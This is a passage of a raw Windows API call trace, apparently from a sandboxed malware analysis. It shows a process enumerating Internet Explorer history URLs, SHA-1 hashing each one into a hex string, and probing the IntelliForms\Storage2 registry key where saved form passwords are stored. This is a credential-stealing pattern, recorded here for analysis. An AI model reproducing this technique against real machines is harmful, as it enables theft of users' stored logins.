[0097.362] lstrlenW (lpString="7A") returned 2 [0097.362] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf1a0 [0097.362] lstrcpyW (in: lpString1=0x71cf1a0, lpString2="3079105F911294" | out: lpString1="3079105F911294") returned="3079105F911294" [0097.362] lstrcatW (in: lpString1="3079105F911294", lpString2="7A" | out: lpString1="3079105F9112947A") returned="3079105F9112947A" [0097.362] LocalFree (hMem=0x71d0010) returned 0x0 [0097.363] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="42") returned 2 [0097.363] lstrlenW (lpString="3079105F9112947A") returned 16 [0097.363] lstrlenW (lpString="42") returned 2 [0097.363] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d0010 [0097.363] lstrcpyW (in: lpString1=0x71d0010, lpString2="3079105F9112947A" | out: lpString1="3079105F9112947A") returned="3079105F9112947A" [0097.363] lstrcatW (in: lpString1="3079105F9112947A", lpString2="42" | out: lpString1="3079105F9112947A42") returned="3079105F9112947A42" [0097.363] LocalFree (hMem=0x71cf1a0) returned 0x0 [0097.363] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AD") returned 2 [0097.363] lstrlenW (lpString="3079105F9112947A42") returned 18 [0097.363] lstrlenW (lpString="AD") returned 2 [0097.363] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.363] lstrcpyW (in: lpString1=0x7290b70, lpString2="3079105F9112947A42" | out: lpString1="3079105F9112947A42") returned="3079105F9112947A42" [0097.363] lstrcatW (in: lpString1="3079105F9112947A42", lpString2="AD" | out: lpString1="3079105F9112947A42AD") returned="3079105F9112947A42AD" [0097.363] LocalFree (hMem=0x71d0010) returned 0x0 [0097.363] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4D") returned 2 [0097.363] lstrlenW (lpString="3079105F9112947A42AD") returned 20 [0097.363] lstrlenW (lpString="4D") returned 2 [0097.363] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.363] lstrcpyW (in: lpString1=0x72912f0, lpString2="3079105F9112947A42AD" | out: lpString1="3079105F9112947A42AD") returned="3079105F9112947A42AD" [0097.363] lstrcatW (in: lpString1="3079105F9112947A42AD", lpString2="4D" | out: lpString1="3079105F9112947A42AD4D") returned="3079105F9112947A42AD4D" [0097.363] LocalFree (hMem=0x7290b70) returned 0x0 [0097.363] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="57") returned 2 [0097.363] lstrlenW (lpString="3079105F9112947A42AD4D") returned 22 [0097.363] lstrlenW (lpString="57") returned 2 [0097.363] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.363] lstrcpyW (in: lpString1=0x7290b70, lpString2="3079105F9112947A42AD4D" | out: lpString1="3079105F9112947A42AD4D") returned="3079105F9112947A42AD4D" [0097.363] lstrcatW (in: lpString1="3079105F9112947A42AD4D", lpString2="57" | out: lpString1="3079105F9112947A42AD4D57") returned="3079105F9112947A42AD4D57" [0097.363] LocalFree (hMem=0x72912f0) returned 0x0 [0097.363] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="39") returned 2 [0097.363] lstrlenW (lpString="3079105F9112947A42AD4D57") returned 24 [0097.363] lstrlenW (lpString="39") returned 2 [0097.363] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.363] lstrcpyW (in: lpString1=0x72912f0, lpString2="3079105F9112947A42AD4D57" | out: lpString1="3079105F9112947A42AD4D57") returned="3079105F9112947A42AD4D57" [0097.363] lstrcatW (in: lpString1="3079105F9112947A42AD4D57", lpString2="39" | out: lpString1="3079105F9112947A42AD4D5739") returned="3079105F9112947A42AD4D5739" [0097.363] LocalFree (hMem=0x7290b70) returned 0x0 [0097.364] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="06") returned 2 [0097.364] lstrlenW (lpString="3079105F9112947A42AD4D5739") returned 26 [0097.364] lstrlenW (lpString="06") returned 2 [0097.364] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.364] lstrcpyW (in: lpString1=0x2815a80, lpString2="3079105F9112947A42AD4D5739" | out: lpString1="3079105F9112947A42AD4D5739") returned="3079105F9112947A42AD4D5739" [0097.364] lstrcatW (in: lpString1="3079105F9112947A42AD4D5739", lpString2="06" | out: lpString1="3079105F9112947A42AD4D573906") returned="3079105F9112947A42AD4D573906" [0097.364] LocalFree (hMem=0x72912f0) returned 0x0 [0097.364] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2A") returned 2 [0097.364] lstrlenW (lpString="3079105F9112947A42AD4D573906") returned 28 [0097.364] lstrlenW (lpString="2A") returned 2 [0097.364] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.364] lstrcpyW (in: lpString1=0x2815670, lpString2="3079105F9112947A42AD4D573906" | out: lpString1="3079105F9112947A42AD4D573906") returned="3079105F9112947A42AD4D573906" [0097.364] lstrcatW (in: lpString1="3079105F9112947A42AD4D573906", lpString2="2A" | out: lpString1="3079105F9112947A42AD4D5739062A") returned="3079105F9112947A42AD4D5739062A" [0097.364] LocalFree (hMem=0x2815a80) returned 0x0 [0097.364] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="86") returned 2 [0097.364] lstrlenW (lpString="3079105F9112947A42AD4D5739062A") returned 30 [0097.364] lstrlenW (lpString="86") returned 2 [0097.364] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.364] lstrcpyW (in: lpString1=0x2815a80, lpString2="3079105F9112947A42AD4D5739062A" | out: lpString1="3079105F9112947A42AD4D5739062A") returned="3079105F9112947A42AD4D5739062A" [0097.364] lstrcatW (in: lpString1="3079105F9112947A42AD4D5739062A", lpString2="86" | out: lpString1="3079105F9112947A42AD4D5739062A86") returned="3079105F9112947A42AD4D5739062A86" [0097.364] LocalFree (hMem=0x2815670) returned 0x0 [0097.364] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B6") returned 2 [0097.364] lstrlenW (lpString="3079105F9112947A42AD4D5739062A86") returned 32 [0097.364] lstrlenW (lpString="B6") returned 2 [0097.364] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.364] lstrcpyW (in: lpString1=0x2815670, lpString2="3079105F9112947A42AD4D5739062A86" | out: lpString1="3079105F9112947A42AD4D5739062A86") returned="3079105F9112947A42AD4D5739062A86" [0097.364] lstrcatW (in: lpString1="3079105F9112947A42AD4D5739062A86", lpString2="B6" | out: lpString1="3079105F9112947A42AD4D5739062A86B6") returned="3079105F9112947A42AD4D5739062A86B6" [0097.364] LocalFree (hMem=0x2815a80) returned 0x0 [0097.364] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A1") returned 2 [0097.364] lstrlenW (lpString="3079105F9112947A42AD4D5739062A86B6") returned 34 [0097.364] lstrlenW (lpString="A1") returned 2 [0097.364] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.364] lstrcpyW (in: lpString1=0x28e7910, lpString2="3079105F9112947A42AD4D5739062A86B6" | out: lpString1="3079105F9112947A42AD4D5739062A86B6") returned="3079105F9112947A42AD4D5739062A86B6" [0097.364] lstrcatW (in: lpString1="3079105F9112947A42AD4D5739062A86B6", lpString2="A1" | out: lpString1="3079105F9112947A42AD4D5739062A86B6A1") returned="3079105F9112947A42AD4D5739062A86B6A1" [0097.364] LocalFree (hMem=0x2815670) returned 0x0 [0097.364] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0B") returned 2 [0097.364] lstrlenW (lpString="3079105F9112947A42AD4D5739062A86B6A1") returned 36 [0097.365] lstrlenW (lpString="0B") returned 2 [0097.365] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.365] lstrcpyW (in: lpString1=0x28e7670, lpString2="3079105F9112947A42AD4D5739062A86B6A1" | out: lpString1="3079105F9112947A42AD4D5739062A86B6A1") returned="3079105F9112947A42AD4D5739062A86B6A1" [0097.365] lstrcatW (in: lpString1="3079105F9112947A42AD4D5739062A86B6A1", lpString2="0B" | out: lpString1="3079105F9112947A42AD4D5739062A86B6A10B") returned="3079105F9112947A42AD4D5739062A86B6A10B" [0097.365] LocalFree (hMem=0x28e7910) returned 0x0 [0097.365] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B3") returned 2 [0097.365] lstrlenW (lpString="3079105F9112947A42AD4D5739062A86B6A10B") returned 38 [0097.365] lstrlenW (lpString="B3") returned 2 [0097.365] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.365] lstrcpyW (in: lpString1=0x28e7910, lpString2="3079105F9112947A42AD4D5739062A86B6A10B" | out: lpString1="3079105F9112947A42AD4D5739062A86B6A10B") returned="3079105F9112947A42AD4D5739062A86B6A10B" [0097.365] lstrcatW (in: lpString1="3079105F9112947A42AD4D5739062A86B6A10B", lpString2="B3" | out: lpString1="3079105F9112947A42AD4D5739062A86B6A10BB3") returned="3079105F9112947A42AD4D5739062A86B6A10BB3" [0097.365] LocalFree (hMem=0x28e7670) returned 0x0 [0097.365] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="60") returned 2 [0097.365] lstrlenW (lpString="3079105F9112947A42AD4D5739062A86B6A10BB3") returned 40 [0097.365] lstrlenW (lpString="60") returned 2 [0097.365] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.365] lstrcpyW (in: lpString1=0x28e7670, lpString2="3079105F9112947A42AD4D5739062A86B6A10BB3" | out: lpString1="3079105F9112947A42AD4D5739062A86B6A10BB3") returned="3079105F9112947A42AD4D5739062A86B6A10BB3" [0097.365] lstrcatW (in: lpString1="3079105F9112947A42AD4D5739062A86B6A10BB3", lpString2="60" | out: lpString1="3079105F9112947A42AD4D5739062A86B6A10BB360") returned="3079105F9112947A42AD4D5739062A86B6A10BB360" [0097.365] LocalFree (hMem=0x28e7910) returned 0x0 [0097.365] CryptDestroyHash (hHash=0x4435850) returned 1 [0097.365] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.365] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.365] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.365] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.365] LocalFree (hMem=0x28e7670) returned 0x0 [0097.365] CoTaskMemFree (pv=0x71d00c0) [0097.365] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.366] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/u_7c_imef.gif", lpSrch="?") returned 0x0 [0097.366] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.366] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.366] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/u_7c_imef.gif") returned 47 [0097.366] CryptHashData (hHash=0x44511b0, pbData=0x4435af0, dwDataLen=0x60, dwFlags=0x0) returned 1 [0097.366] CryptGetHashParam (in: hHash=0x44511b0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.366] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="89") returned 2 [0097.366] lstrlenW (lpString="") returned 0 [0097.366] lstrlenW (lpString="89") returned 2 [0097.366] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7182b60 [0097.366] lstrcpyW (in: lpString1=0x7182b60, lpString2="" | out: lpString1="") returned="" [0097.366] lstrcatW (in: lpString1="", lpString2="89" | out: lpString1="89") returned="89" [0097.366] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0097.366] lstrlenW (lpString="89") returned 2 [0097.366] lstrlenW (lpString="12") returned 2 [0097.366] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c2ae0 [0097.366] lstrcpyW (in: lpString1=0x28c2ae0, lpString2="89" | out: lpString1="89") returned="89" [0097.367] lstrcatW (in: lpString1="89", lpString2="12" | out: lpString1="8912") returned="8912" [0097.367] LocalFree (hMem=0x7182b60) returned 0x0 [0097.367] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3C") returned 2 [0097.367] lstrlenW (lpString="8912") returned 4 [0097.367] lstrlenW (lpString="3C") returned 2 [0097.367] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c48e0 [0097.367] lstrcpyW (in: lpString1=0x28c48e0, lpString2="8912" | out: lpString1="8912") returned="8912" [0097.367] lstrcatW (in: lpString1="8912", lpString2="3C" | out: lpString1="89123C") returned="89123C" [0097.367] LocalFree (hMem=0x28c2ae0) returned 0x0 [0097.367] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2C") returned 2 [0097.367] lstrlenW (lpString="89123C") returned 6 [0097.367] lstrlenW (lpString="2C") returned 2 [0097.367] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c2ae0 [0097.367] lstrcpyW (in: lpString1=0x28c2ae0, lpString2="89123C" | out: lpString1="89123C") returned="89123C" [0097.367] lstrcatW (in: lpString1="89123C", lpString2="2C" | out: lpString1="89123C2C") returned="89123C2C" [0097.367] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.367] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0097.367] lstrlenW (lpString="89123C2C") returned 8 [0097.367] lstrlenW (lpString="96") returned 2 [0097.367] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c48e0 [0097.367] lstrcpyW (in: lpString1=0x28c48e0, lpString2="89123C2C" | out: lpString1="89123C2C") returned="89123C2C" [0097.367] lstrcatW (in: lpString1="89123C2C", lpString2="96" | out: lpString1="89123C2C96") returned="89123C2C96" [0097.367] LocalFree (hMem=0x28c2ae0) returned 0x0 [0097.367] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0097.367] lstrlenW (lpString="89123C2C96") returned 10 [0097.367] lstrlenW (lpString="34") returned 2 [0097.367] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71d00c0 [0097.367] lstrcpyW (in: lpString1=0x71d00c0, lpString2="89123C2C96" | out: lpString1="89123C2C96") returned="89123C2C96" [0097.367] lstrcatW (in: lpString1="89123C2C96", lpString2="34" | out: lpString1="89123C2C9634") returned="89123C2C9634" [0097.367] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.367] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E5") returned 2 [0097.367] lstrlenW (lpString="89123C2C9634") returned 12 [0097.367] lstrlenW (lpString="E5") returned 2 [0097.367] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d0010 [0097.367] lstrcpyW (in: lpString1=0x71d0010, lpString2="89123C2C9634" | out: lpString1="89123C2C9634") returned="89123C2C9634" [0097.367] lstrcatW (in: lpString1="89123C2C9634", lpString2="E5" | out: lpString1="89123C2C9634E5") returned="89123C2C9634E5" [0097.367] LocalFree (hMem=0x71d00c0) returned 0x0 [0097.367] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D7") returned 2 [0097.368] lstrlenW (lpString="89123C2C9634E5") returned 14 [0097.368] lstrlenW (lpString="D7") returned 2 [0097.368] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71d00c0 [0097.368] lstrcpyW (in: lpString1=0x71d00c0, lpString2="89123C2C9634E5" | out: lpString1="89123C2C9634E5") returned="89123C2C9634E5" [0097.368] lstrcatW (in: lpString1="89123C2C9634E5", lpString2="D7" | out: lpString1="89123C2C9634E5D7") returned="89123C2C9634E5D7" [0097.368] LocalFree (hMem=0x71d0010) returned 0x0 [0097.368] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="63") returned 2 [0097.368] lstrlenW (lpString="89123C2C9634E5D7") returned 16 [0097.368] lstrlenW (lpString="63") returned 2 [0097.368] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d0010 [0097.368] lstrcpyW (in: lpString1=0x71d0010, lpString2="89123C2C9634E5D7" | out: lpString1="89123C2C9634E5D7") returned="89123C2C9634E5D7" [0097.368] lstrcatW (in: lpString1="89123C2C9634E5D7", lpString2="63" | out: lpString1="89123C2C9634E5D763") returned="89123C2C9634E5D763" [0097.368] LocalFree (hMem=0x71d00c0) returned 0x0 [0097.368] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="17") returned 2 [0097.368] lstrlenW (lpString="89123C2C9634E5D763") returned 18 [0097.368] lstrlenW (lpString="17") returned 2 [0097.368] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.368] lstrcpyW (in: lpString1=0x72912f0, lpString2="89123C2C9634E5D763" | out: lpString1="89123C2C9634E5D763") returned="89123C2C9634E5D763" [0097.368] lstrcatW (in: lpString1="89123C2C9634E5D763", lpString2="17" | out: lpString1="89123C2C9634E5D76317") returned="89123C2C9634E5D76317" [0097.368] LocalFree (hMem=0x71d0010) returned 0x0 [0097.368] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="41") returned 2 [0097.368] lstrlenW (lpString="89123C2C9634E5D76317") returned 20 [0097.368] lstrlenW (lpString="41") returned 2 [0097.368] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.368] lstrcpyW (in: lpString1=0x7290b70, lpString2="89123C2C9634E5D76317" | out: lpString1="89123C2C9634E5D76317") returned="89123C2C9634E5D76317" [0097.368] lstrcatW (in: lpString1="89123C2C9634E5D76317", lpString2="41" | out: lpString1="89123C2C9634E5D7631741") returned="89123C2C9634E5D7631741" [0097.368] LocalFree (hMem=0x72912f0) returned 0x0 [0097.368] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5E") returned 2 [0097.368] lstrlenW (lpString="89123C2C9634E5D7631741") returned 22 [0097.368] lstrlenW (lpString="5E") returned 2 [0097.368] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.368] lstrcpyW (in: lpString1=0x72912f0, lpString2="89123C2C9634E5D7631741" | out: lpString1="89123C2C9634E5D7631741") returned="89123C2C9634E5D7631741" [0097.368] lstrcatW (in: lpString1="89123C2C9634E5D7631741", lpString2="5E" | out: lpString1="89123C2C9634E5D76317415E") returned="89123C2C9634E5D76317415E" [0097.368] LocalFree (hMem=0x7290b70) returned 0x0 [0097.368] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0097.368] lstrlenW (lpString="89123C2C9634E5D76317415E") returned 24 [0097.368] lstrlenW (lpString="FD") returned 2 [0097.369] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.369] lstrcpyW (in: lpString1=0x7290b70, lpString2="89123C2C9634E5D76317415E" | out: lpString1="89123C2C9634E5D76317415E") returned="89123C2C9634E5D76317415E" [0097.369] lstrcatW (in: lpString1="89123C2C9634E5D76317415E", lpString2="FD" | out: lpString1="89123C2C9634E5D76317415EFD") returned="89123C2C9634E5D76317415EFD" [0097.369] LocalFree (hMem=0x72912f0) returned 0x0 [0097.369] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0097.369] lstrlenW (lpString="89123C2C9634E5D76317415EFD") returned 26 [0097.369] lstrlenW (lpString="9F") returned 2 [0097.369] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.369] lstrcpyW (in: lpString1=0x2815670, lpString2="89123C2C9634E5D76317415EFD" | out: lpString1="89123C2C9634E5D76317415EFD") returned="89123C2C9634E5D76317415EFD" [0097.369] lstrcatW (in: lpString1="89123C2C9634E5D76317415EFD", lpString2="9F" | out: lpString1="89123C2C9634E5D76317415EFD9F") returned="89123C2C9634E5D76317415EFD9F" [0097.369] LocalFree (hMem=0x7290b70) returned 0x0 [0097.369] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="48") returned 2 [0097.369] lstrlenW (lpString="89123C2C9634E5D76317415EFD9F") returned 28 [0097.369] lstrlenW (lpString="48") returned 2 [0097.369] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.369] lstrcpyW (in: lpString1=0x2815a80, lpString2="89123C2C9634E5D76317415EFD9F" | out: lpString1="89123C2C9634E5D76317415EFD9F") returned="89123C2C9634E5D76317415EFD9F" [0097.369] lstrcatW (in: lpString1="89123C2C9634E5D76317415EFD9F", lpString2="48" | out: lpString1="89123C2C9634E5D76317415EFD9F48") returned="89123C2C9634E5D76317415EFD9F48" [0097.369] LocalFree (hMem=0x2815670) returned 0x0 [0097.369] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="72") returned 2 [0097.369] lstrlenW (lpString="89123C2C9634E5D76317415EFD9F48") returned 30 [0097.369] lstrlenW (lpString="72") returned 2 [0097.369] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.369] lstrcpyW (in: lpString1=0x2815670, lpString2="89123C2C9634E5D76317415EFD9F48" | out: lpString1="89123C2C9634E5D76317415EFD9F48") returned="89123C2C9634E5D76317415EFD9F48" [0097.369] lstrcatW (in: lpString1="89123C2C9634E5D76317415EFD9F48", lpString2="72" | out: lpString1="89123C2C9634E5D76317415EFD9F4872") returned="89123C2C9634E5D76317415EFD9F4872" [0097.369] LocalFree (hMem=0x2815a80) returned 0x0 [0097.369] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0D") returned 2 [0097.369] lstrlenW (lpString="89123C2C9634E5D76317415EFD9F4872") returned 32 [0097.369] lstrlenW (lpString="0D") returned 2 [0097.369] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.369] lstrcpyW (in: lpString1=0x2815a80, lpString2="89123C2C9634E5D76317415EFD9F4872" | out: lpString1="89123C2C9634E5D76317415EFD9F4872") returned="89123C2C9634E5D76317415EFD9F4872" [0097.369] lstrcatW (in: lpString1="89123C2C9634E5D76317415EFD9F4872", lpString2="0D" | out: lpString1="89123C2C9634E5D76317415EFD9F48720D") returned="89123C2C9634E5D76317415EFD9F48720D" [0097.369] LocalFree (hMem=0x2815670) returned 0x0 [0097.369] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="26") returned 2 [0097.369] lstrlenW (lpString="89123C2C9634E5D76317415EFD9F48720D") returned 34 [0097.369] lstrlenW (lpString="26") returned 2 [0097.369] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.369] lstrcpyW (in: lpString1=0x28e7670, lpString2="89123C2C9634E5D76317415EFD9F48720D" | out: lpString1="89123C2C9634E5D76317415EFD9F48720D") returned="89123C2C9634E5D76317415EFD9F48720D" [0097.370] lstrcatW (in: lpString1="89123C2C9634E5D76317415EFD9F48720D", lpString2="26" | out: lpString1="89123C2C9634E5D76317415EFD9F48720D26") returned="89123C2C9634E5D76317415EFD9F48720D26" [0097.370] LocalFree (hMem=0x2815a80) returned 0x0 [0097.370] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3B") returned 2 [0097.370] lstrlenW (lpString="89123C2C9634E5D76317415EFD9F48720D26") returned 36 [0097.370] lstrlenW (lpString="3B") returned 2 [0097.370] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.370] lstrcpyW (in: lpString1=0x28e7910, lpString2="89123C2C9634E5D76317415EFD9F48720D26" | out: lpString1="89123C2C9634E5D76317415EFD9F48720D26") returned="89123C2C9634E5D76317415EFD9F48720D26" [0097.370] lstrcatW (in: lpString1="89123C2C9634E5D76317415EFD9F48720D26", lpString2="3B" | out: lpString1="89123C2C9634E5D76317415EFD9F48720D263B") returned="89123C2C9634E5D76317415EFD9F48720D263B" [0097.370] LocalFree (hMem=0x28e7670) returned 0x0 [0097.370] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0097.370] lstrlenW (lpString="89123C2C9634E5D76317415EFD9F48720D263B") returned 38 [0097.370] lstrlenW (lpString="12") returned 2 [0097.370] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.370] lstrcpyW (in: lpString1=0x28e7670, lpString2="89123C2C9634E5D76317415EFD9F48720D263B" | out: lpString1="89123C2C9634E5D76317415EFD9F48720D263B") returned="89123C2C9634E5D76317415EFD9F48720D263B" [0097.370] lstrcatW (in: lpString1="89123C2C9634E5D76317415EFD9F48720D263B", lpString2="12" | out: lpString1="89123C2C9634E5D76317415EFD9F48720D263B12") returned="89123C2C9634E5D76317415EFD9F48720D263B12" [0097.370] LocalFree (hMem=0x28e7910) returned 0x0 [0097.370] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="78") returned 2 [0097.370] lstrlenW (lpString="89123C2C9634E5D76317415EFD9F48720D263B12") returned 40 [0097.370] lstrlenW (lpString="78") returned 2 [0097.370] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.370] lstrcpyW (in: lpString1=0x28e7910, lpString2="89123C2C9634E5D76317415EFD9F48720D263B12" | out: lpString1="89123C2C9634E5D76317415EFD9F48720D263B12") returned="89123C2C9634E5D76317415EFD9F48720D263B12" [0097.370] lstrcatW (in: lpString1="89123C2C9634E5D76317415EFD9F48720D263B12", lpString2="78" | out: lpString1="89123C2C9634E5D76317415EFD9F48720D263B1278") returned="89123C2C9634E5D76317415EFD9F48720D263B1278" [0097.370] LocalFree (hMem=0x28e7670) returned 0x0 [0097.370] CryptDestroyHash (hHash=0x44511b0) returned 1 [0097.370] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.370] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.370] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.370] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.370] LocalFree 